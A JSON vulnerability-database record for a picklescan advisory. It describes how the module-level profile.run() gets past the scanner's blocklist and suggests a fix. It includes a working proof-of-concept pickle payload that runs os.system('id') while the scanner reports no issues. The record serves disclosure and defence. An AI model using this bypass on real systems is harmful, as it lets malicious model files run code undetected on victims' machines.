{"id":"CVE-2026-53873","aliases":["GHSA-7wx9-6375-f5wh","PYSEC-2026-455"],"url":"https://o3.security/vulnerability/CVE-2026-53873","summary":"picklescan - Arbitrary Code Execution via profile.run() Blocklist Bypass","details":"## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** — Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n\n- picklescan v1.0.3 (latest — the profile entries were added in recent versions)\n- Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact — there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python's Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n    prof = Profile()\n    try:\n        prof.run(statement)  # Calls exec(statement)\n    except SystemExit:\n        pass\n    ...\n```\n\n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\n# profile.run(\"import os; os.system('id')\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"<Q\", 60)\n    + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n    + sbu(\"import os; os.system('id')\")\n    + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs exec(\"import os; os.system('id')\") → RCE\npickle.loads(payload)\n```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n|--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO — `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO — `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n\n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n\n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function — calls `exec()`","published":"2026-06-17T15:05:02.886Z","modified":"2026-08-12T03:51:35.962301165Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"picklescan","fixedVersion":"1.0.4"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53873.json"},{"type":"ADVISORY","url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53873"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-profile-run-blocklist-bypass"},{"type":"PACKAGE","url":"https://github.com/mmaitre314/picklescan"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:35.962301165Z"}}